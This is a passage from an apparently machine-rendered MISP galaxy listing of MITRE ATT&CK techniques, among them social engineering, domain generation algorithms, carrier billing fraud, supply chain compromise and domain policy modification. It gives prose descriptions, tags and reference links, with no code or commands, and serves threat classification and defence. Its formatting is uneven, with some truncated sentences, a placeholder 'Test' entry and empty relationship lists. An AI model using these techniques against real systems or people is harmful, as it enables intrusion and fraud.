<td><a href="https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/">https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/</a></td>
</tr>
<tr>
<td><a href="https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen">https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens">https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens</a></td>
</tr>
<tr>
<td><a href="https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/">https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/</a></td>
</tr>
</tbody>
</table>
**Determine firmware version - T1258**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](https://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258).

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine firmware version - T1258"

**Table 5435. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1258">https://attack.mitre.org/techniques/T1258</a></td>
</tr>
</tbody>
</table>

**Identify supply chains - T1276**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](https://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276"

**View relationships graph**

Identify supply chains - T1276 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246" with estimative-language:likelihood-probability="almost-certain"

**Table 5436. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1276">https://attack.mitre.org/techniques/T1276</a></td>
</tr>
</tbody>
</table>

**Conduct social engineering - T1268**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](https://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268).
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: `misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268"

View relationships graph

Conduct social engineering - T1268 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279"` with estimative-language:likelihood-probability="almost-certain"

Table 5437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1268">https://attack.mitre.org/techniques/T1268</a></td>
</tr>
</tbody>
</table>

Assess targeting options - T1296

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296).

An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more or less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

The tag is: `misp-galaxy:mitre-attack-pattern="Assess targeting options - T1296"

Table 5438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1296">https://attack.mitre.org/techniques/T1296</a></td>
</tr>
</tbody>
</table>

Analyze data collected - T1287

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287).

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze data collected - T1287"`
Table 5439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1287">https://attack.mitre.org/techniques/T1287</a></td>
</tr>
</tbody>
</table>

**Conduct social engineering - T1279**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern*="Conduct social engineering - T1279"

View relationships graph

Conduct social engineering - T1279 has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Conduct social engineering - T1249" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Conduct social engineering - T1268" with estimative-language:likelihood-probability="almost-certain"

Table 5440. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1279">https://attack.mitre.org/techniques/T1279</a></td>
</tr>
</tbody>
</table>

**Access Call Log - T1433**

On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.

On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.

The tag is: *misp-galaxy:mitre-attack-pattern*="Access Call Log - T1433"

View relationships graph

Access Call Log - T1433 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern*="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"
Create backup infrastructure - T1339

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](https://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339).

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Create backup infrastructure - T1339"

Remotely Install Application - T1443

An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: `misp-galaxy:mitre-attack-pattern="Remotely Install Application - T1443"

View relationships graph

Remotely Install Application - T1443 has relationships with:


Table 5442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1339">https://attack.mitre.org/techniques/T1339</a></td>
</tr>
</tbody>
</table>

Table 5443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1443">https://attack.mitre.org/techniques/T1443</a></td>
</tr>
</tbody>
</table>
Abuse Accessibility Features - T1453

This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.

A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)

Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)

Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)

The tag is: `misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453"`

Table 5444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1453">https://attack.mitre.org/techniques/T1453</a></td>
</tr>
<tr>
<td><a href="https://www.skycure.com/blog/accessibility-clickjacking/">https://www.skycure.com/blog/accessibility-clickjacking/</a></td>
</tr>
</tbody>
</table>

Access Calendar Entries - T1435

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

The tag is: `misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435"`

View relationships graph

Access Calendar Entries - T1435 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001"` with estimative-language:likelihood-probability="almost-certain"

Table 5445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1435">https://attack.mitre.org/techniques/T1435</a></td>
</tr>
</tbody>
</table>
Create custom payloads - T1345

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345).

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

The tag is: `misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345"`

Table 5446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1345">https://attack.mitre.org/techniques/T1345</a></td>
</tr>
</tbody>
</table>

Manipulate Device Communication - T1463

If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).

The tag is: `misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463"`

View relationships graph

Manipulate Device Communication - T1463 has relationships with:


Table 5447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1463">https://attack.mitre.org/techniques/T1463</a></td>
</tr>
</tbody>
</table>

Commonly Used Port - T1436

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.
They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

The tag is: \textit{misp-galaxy:mitre-attack-pattern=\textquote{Commonly Used Port - T1436}}

\textit{Table 5448. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1436">https://attack.mitre.org/techniques/T1436</a></td>
</tr>
</tbody>
</table>

**Application Layer Protocol - T1437**

Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.

The tag is: \textit{misp-galaxy:mitre-attack-pattern=\textquote{Application Layer Protocol - T1437}}

\textit{Table 5449. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1437">https://attack.mitre.org/techniques/T1437</a></td>
</tr>
</tbody>
</table>

**Domain Generation Algorithms - T1483**

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily,
monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders. (Citation: Cybereason Dissecting DGAs) (Citation: Cisco Umbrella DGA) (Citation: Talos CCleanup 2017) (Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control. (Citation: Talos CCleanup 2017) (Citation: FireEye POSHSPY April 2017) (Citation: ESET Sednit 2017 Activity)

The tag is: **misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483"**

**View relationships graph**

**Domain Generation Algorithms - T1483** has relationships with:

- **revoked-by**: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"

**Table 5450. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1483">https://attack.mitre.org/techniques/T1483</a></td>
</tr>
<tr>
<td><a href="https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/">https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/">https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html">https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html</a></td>
</tr>
</tbody>
</table>

**Transmitted Data Manipulation - T1493**

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. (Citation: FireEye APT38 Oct 2018) (Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there
is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: `misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493"`

View relationships graph

Transmitted Data Manipulation - T1493 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002"`
  with `estimative-language:likelihood-probability="almost-certain"`

Table 5451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1493">https://attack.mitre.org/techniques/T1493</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

**Subvert Trust Controls - T1553**

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)

The tag is: `misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553"`

Table 5452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1553">https://attack.mitre.org/techniques/T1553</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec">https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec</a></td>
</tr>
</tbody>
</table>
Revert Cloud Instance - T1536

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM. (Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"

Test callback functionality - T1356

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356).

Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

The tag is: misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"
Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"

Remote Access Software - T1663

Adversaries may use legitimate remote access software, such as VNC, TeamViewer, AirDroid, AirMirror, etc., to establish an interactive command and control channel to target mobile devices.

Remote access applications may be installed and used post-compromise as an alternate communication channel for redundant access or as a way to establish an interactive remote session with the target device. They may also be used as a component of malware to establish a reverse connection to an adversary-controlled system or service. Installation of remote access tools may also include persistence.

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1663"

Protected User Data - T1636

Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must
be included in the application's `Info.plist` file.

In almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user.

If the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user's knowledge or approval.

The tag is: `misp-galaxy:mitre-attack-pattern="Protected User Data - T1636"

Table 5457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1636">https://attack.mitre.org/techniques/T1636</a></td>
</tr>
</tbody>
</table>

**Disseminate removable media - T1379**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).

Removable media containing malware can be injected into a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

The tag is: `misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"

Table 5458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1379">https://attack.mitre.org/techniques/T1379</a></td>
</tr>
</tbody>
</table>

**Spearphishing for Information - T1397**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397).

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it doesn't leverage malicious code. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information.
(such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"

**Table 5459. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1397">https://attack.mitre.org/techniques/T1397</a></td>
</tr>
</tbody>
</table>

**Ingress Tool Transfer - T1544**

Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.

The tag is: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544"

**Table 5460. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1544">https://attack.mitre.org/techniques/T1544</a></td>
</tr>
</tbody>
</table>

**Malicious SMS Message - T1454**

Test

The tag is: `misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"

**Table 5461. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1454">https://attack.mitre.org/techniques/T1454</a></td>
</tr>
</tbody>
</table>

**Supply Chain Compromise - T1474**

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
Manipulation of source code repositories (public or private)
Manipulation of source code in open-source dependencies
Manipulation of software update/distribution mechanisms
Compromised/infected system images
Replacement of legitimate software with modified versions
Sales of modified/counterfeit products to legitimate distributors
Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.

The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"

Table 5462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1474">https://attack.mitre.org/techniques/T1474</a></td>
</tr>
</tbody>
</table>
Delete Device Data - T1447

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.

The tag is: \textit{misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447"}

View relationships graph

Delete Device Data - T1447 has relationships with:


\textit{Table 5463. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1447">https://attack.mitre.org/techniques/T1447</a></td>
</tr>
</tbody>
</table>

Carrier Billing Fraud - T1448

A malicious app may trigger fraudulent charges on a victim's carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.

Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)
Malicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page. (Citation: Google Bread)

On iOS, apps cannot send SMS messages.

On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

The tag is: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448"

View relationships graph

Carrier Billing Fraud - T1448 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

Table 5464. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1448">https://attack.mitre.org/techniques/T1448</a></td>
</tr>
</tbody>
</table>

Domain Policy Modification - T1484

Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment (Citation: ADSecurity GPO Persistence 2016) (Citation: Wald0 Guide to GPOs) (Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources. (Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a
Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Policy Modification - T1484"`

**Table 5465: Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/">http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2716">https://adsecurity.org/?p=2716</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1484">https://attack.mitre.org/techniques/T1484</a></td>
</tr>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml">https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-008a">https://us-cert.cisa.gov/ncas/alerts/aa21-008a</a></td>
</tr>
<tr>
<td><a href="https://wald0.com/?p=179">https://wald0.com/?p=179</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/golden-saml-advisory">https://www.sygnia.co/golden-saml-advisory</a></td>
</tr>
</tbody>
</table>

**Runtime Data Manipulation - T1494**

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user. (Citation: FireEye APT38 Oct 2018) (Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: `misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"`

View relationships graph

Runtime Data Manipulation - T1494 has relationships with:
Exploit Baseband Vulnerability - T1455

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

1. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated “the risk of remotely exploitable memory corruptions in cellular baseband stacks.” (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"

Event Triggered Execution - T1546

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)

